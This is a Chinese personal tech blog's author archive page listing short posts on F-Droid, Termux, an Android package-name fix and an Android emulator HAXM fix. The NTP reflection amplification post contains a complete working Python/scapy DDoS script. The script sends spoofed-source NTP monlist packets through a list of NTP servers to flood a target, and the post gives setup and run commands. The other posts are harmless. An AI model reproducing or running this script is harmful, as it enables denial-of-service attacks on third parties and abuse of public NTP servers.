admin 发布的文章 - Yloadtech
首页
视频
音乐
直播
壁纸
友情链接
统计
反馈
更多
关于
搜 索
1
【教程】Typecho Joe主题开启并修复壁纸相册不显示问题
189 阅读
2
如何利用PHP开发一个简单的在线视频播放器
175 阅读
3
解决 win11 连接共享打印机,报错 0x00000709 问题
169 阅读
4
php实现基本的日历显示与实时查询功能
154 阅读
5
NTP反射放大攻击!
154 阅读
PHP
Java
IT
网络大神
社会一角
网络工具
登录
/
注册
搜 索
标签搜索
半篇 关注
Yloadtech
累计撰写
36
篇文章
累计收到
6
条评论
首页
栏目
PHP
Java
IT
网络大神
社会一角
网络工具
页面
视频
音乐
直播
壁纸
友情链接
统计
反馈
关于
用户登录
登录
注册
找到
36
篇与
admin
相关的结果
2026-05-05
Fdroid
国外的一款开源的应用商店,很可惜的是估计得翻墙才能使用,安装完在国内打开里面什么应用也没有。下载链接:https://pan.baidu.com/s/1DnkUX4UaaIr-cpgZr5n_ow 提取码:vp38
2026年05月05日
3 阅读
0 评论
0 点赞
2026-05-05
Termux
Termux安卓版是一款深受欢迎的Android模拟终端仿真工具,它可以在您的Android设备上模拟Linux终端环境,给您提供完整的Linux体验。与传统的终端模拟器不同,Termux可以通过APT软件包管理器轻松地安装、更新和卸载程序,因此您可以使用Termux在Android上运行常见的Linux软件包,如Python、Ruby、Node.js、Perl等。此外,Termux安卓版还支持许多其他功能,例如ssh连接、Git版本控制、文件管理、代码编辑和编译等。大家可以使用Termux将您的Android设备变成一个真正的服务器,并运行各种网络服务,如Apache、Nginx、MySQL等。作为一个非常实用的终端仿真器,它可以让您在Android设备上进行编写、测试和运行代码的全部过程。例如,您可以使用Python编写和运行代码,使用Node.js构建Web应用程序,使用Ruby编写脚本,使用C ++编译和调试本机代码等。如果您是一名开发人员、渗透测试人员、或只是想了解计算机和网络安全方面的知识,那么Termux绝对值得一试。下载链接:https://pan.baidu.com/s/1W7GRpTATM8MB-K7onPDWqQ 提取码:gr13
2026年05月05日
1 阅读
0 评论
0 点赞
2025-07-06
如何在Android项目中删除包名中重复的com?
在Android项目中,包名(package name)是用来唯一标识应用的,并且它遵循Java的包命名规范。通常情况下,包名是由多个单词组成,每个单词之间用点(.)分隔,且第一个单词通常是小写的域名反写,例如com.example.myapp。如果你遇到了包名中重复的com,这可能是由于项目结构或导入语句的错误导致的。基础概念包名是Android应用的重要组成部分,它在AndroidManifest.xml文件中声明,并且与应用的文件系统结构相对应。例如,如果你的包名是com.example.myapp,那么你的源代码应该位于src/main/java/com/example/myapp目录下。解决步骤检查项目结构:确保你的项目目录结构与包名相匹配。例如,如果你的包名是com.example.myapp,那么你的Java文件应该位于src/main/java/com/example/myapp目录下。修改包名:如果包名中出现了重复的com,你需要修改它。这涉及到以下几个步骤:修改AndroidManifest.xml文件中的package属性。修改所有Java文件的包声明。如果使用了模块化开发,还需要修改模块的build.gradle文件中的applicationId。更新导入语句:修改所有导入语句,确保它们使用正确的包名。示例代码假设你的原始包名是com.com.example.myapp,你想将其改为com.example.myapp。修改AndroidManifest.<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.myapp"> ... </manifest>修改Java文件的包声明package com.example.myapp; public class MainActivity extends AppCompatActivity { ... }修改build.gradle文件android { defaultConfig { applicationId "com.example.myapp" ... } ... }更新导入语句确保所有导入语句都使用新的包名,例如:import com.example.myapp.R; import com.example.myapp.util.MyUtil;应用场景这种情况通常发生在项目初始化时包名设置错误,或者在项目重构过程中不小心重复了包名前缀。遇到问题的原因重复的com可能是由于以下原因造成的:在创建新模块或类时,复制粘贴了错误的包名。在重构项目结构时,没有正确更新所有相关的包名和导入语句。解决问题的方法按照上述步骤逐一检查和修改,确保所有相关的文件和配置都使用了正确的包名。在修改后,重新构建项目并运行以确保没有引入新的错误。通过这些步骤,你应该能够解决Android项目中包名重复com的问题。如果在进行这些更改后仍然遇到问题,建议使用IDE的重构工具来帮助自动化这些更改,并检查是否有遗漏的地方。
2025年07月06日
27 阅读
0 评论
0 点赞
2025-06-21
Android SDK中无法安装HAXM installer
一、原因: 刚搭建好环境,当我想打开Android Studio 自带的模拟器时,出现如下: /dev/kvm is not found 二、解决步骤:1、点击File -- Settings… -- appearance&Behavior -- Android SDK -- SDK Tools 2、勾选:Intel x86 Emulator Accelerator(HAXM installer),点击OK3、可是安装不了,出现如下错误:4、网上查看办法,说需要进入的电脑的BIOS中修改,找到Intel Virtual Technology设置为Enabled(表示开启虚拟化)就可以了。可是还是不行。 再查看,说在C:\Users\Administrator\AppData\Local\Android\Sdk\extras\intel 里面有intellhaxm-android.exe,需要手动安装。 可是我一看intel文件夹里面什么都没有。5、既然Android SDK不能帮我下载安装,那只能自己手动下载安装。查了资料,点击:https://github.com/intel/haxm 不要直接下载,因为没exe应用程序。拉到下面的Downloads,点击here,之后点击Latest release(最新版本),点击haxm-windows_v7_5_2.zip(我的是windows系统)。6、下载完成在,解压放到自己的…sdk\extras\intel的目录下,进行安装。7、重启Android Studio,打开模拟器,成功,如下:
2025年06月21日
99 阅读
2 评论
0 点赞
2025-02-01
NTP反射放大攻击!
新年伊始,Deepseek遭受SSDP、Ntp大规模反射放大攻击。Dos、Ddos攻击经常听说,这个没怎么听说过,以此为契机,一起普及下。NTP反射放大攻击攻击者安装python2.7 这个不用说安装scapy从网址下载:http://www.secdev.org/projects/scapy/files/scapy-2.3.1.zip ,也可以用wget scapy.netcp ~/Downloads/scapy-2.3.1.zip /root unzip scapy-2.3.1.zip cd scapy-2.3.1 python setup.py install3.编写攻击脚本from scapy.all import * import sys import threading import time import random # For Random source port #NTP Amp DOS attack #usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10 #FOR USE ON YOUR OWN NETWORK ONLY #Random source port added by JDMoore0883 #packet sender def deny(): #Import globals to function global ntplist global currentserver global data global target ntpserver = ntplist[currentserver] #Get new server currentserver = currentserver + 1 #Increment for next packet = IP(dst=ntpserver,src=target)/UDP(sport=random.randint(2000,65533),dport=123)/Raw(load=data) #BUILD IT send(packet,loop=1) #SEND IT #So I dont have to have the same stuff twice def printhelp(): print "NTP Amplification DOS Attack" print "By DaRkReD" print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>" print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10" print "NTP serverlist file should contain one IP per line" print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS" exit(0) try: if len(sys.argv) < 4: printhelp() #Fetch Args target = sys.argv[1] #Help out idiots if target in ("help","-h","h","?","--h","--help","/?"): printhelp() ntpserverfile = sys.argv[2] numberthreads = int(sys.argv[3]) #System for accepting bulk input ntplist = [] currentserver = 0 with open(ntpserverfile) as f: ntplist = f.readlines() #Make sure we dont out of bounds if numberthreads > int(len(ntplist)): print "Attack Aborted: More threads than servers" print "Next time dont create more threads than servers" exit(0) #Magic Packet aka NTP v2 Monlist Packet data = "\x17\x00\x03\x2a" + "\x00" * 4 #Hold our threads threads = [] print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads" print "Use CTRL+C to stop attack" #Thread spawner for n in range(numberthreads): thread = threading.Thread(target=deny) thread.daemon = True thread.start() threads.append(thread) #In progress! print "Sending..." #Keep alive so ctrl+c still kills all them threads while True: time.sleep(1) except KeyboardInterrupt: print("Script Stopped [ctrl + c]... Shutting down") # Script ends here4、在相对目录下建立文件 1.txt,里面存放ntp服务器的ip地址(10.112.254.141)5、执行./ntpdos.py 192.168.101.146 1.txt 1效果展示攻击端NTP服务器服务器收到一个伪造来源的请求,反射回一个数据包受害者(NTP客户端):攻击成功,由于网络环境较为简单,反射倍数不大,如果放在较为复杂的网络当中,NTP 服务器会向查询端返回与NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。反射流量将会瞬间使被攻击端被流量淹没~
2025年02月01日
154 阅读
0 评论
0 点赞
1
2
...
8